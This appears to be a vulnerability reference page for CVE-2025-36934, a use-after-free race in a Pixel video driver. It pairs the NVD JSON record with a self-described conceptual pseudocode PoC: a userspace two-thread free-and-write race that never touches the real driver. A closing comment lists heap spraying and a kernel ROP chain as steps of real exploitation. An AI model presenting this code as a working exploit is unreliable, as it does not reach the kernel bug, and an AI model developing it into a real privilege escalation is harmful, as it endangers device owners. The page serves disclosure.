CVE-2025-36934

// CVE-2025-36934 PoC Concept (Pseudocode) // This is a conceptual PoC demonstrating the race condition trigger // Actual exploitation requires kernel-level access #include <pthread.h> #include <stdint.h> // Simulated bigo_worker_thread structure typedef struct { void* shared_object; int thread_id; volatile int state; } bigo_worker_context_t; // Global flag to control race condition timing volatile int g_race_trigger = 0; void* victim_thread(void* arg) { bigo_worker_context_t* ctx = (bigo_worker_context_t*)arg; // Thread 1: Access shared object while (!g_race_trigger) {} // Use after free - object may have been freed by another thread if (ctx->shared_object != NULL) { // Access freed memory uint64_t* ptr = (uint64_t*)ctx->shared_object; *ptr = 0x4141414141414141; // Write primitive } return NULL; } void* attacker_thread(void* arg) { bigo_worker_context_t* ctx = (bigo_worker_context_t*)arg; // Trigger race condition g_race_trigger = 1; // Free the object while victim thread is using it if (ctx->shared_object != NULL) { free(ctx->shared_object); // UAF trigger ctx->shared_object = NULL; } return NULL; } int trigger_cve_2025_36934() { bigo_worker_context_t ctx; pthread_t t1, t2; // Initialize shared object ctx.shared_object = malloc(64); ctx.state = 0; // Create threads to trigger race condition pthread_create(&t1, NULL, victim_thread, &ctx); pthread_create(&t2, NULL, attacker_thread, &ctx); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; } /* * Note: This is a simplified conceptual PoC. * Real exploitation requires: * 1. Kernel module access (bigo.ko) * 2. Precise timing control via system calls * 3. Heap spraying techniques for object placement * 4. Kernel ROP chain for privilege escalation */

{"cve": {"id": "CVE-2025-36934", "sourceIdentifier": "[email protected]", "published": "2025-12-11T20:15:57.913", "lastModified": "2026-01-15T22:16:10.373", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In bigo_worker_thread of private/google-modules/video/gchips/bigo.c, there is a possible use after free due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.4, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}, {"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}], "references": [{"url": "https://source.android.com/security/bulletin/pixel/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://project-zero.issues.chromium.org/issues/426567975", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}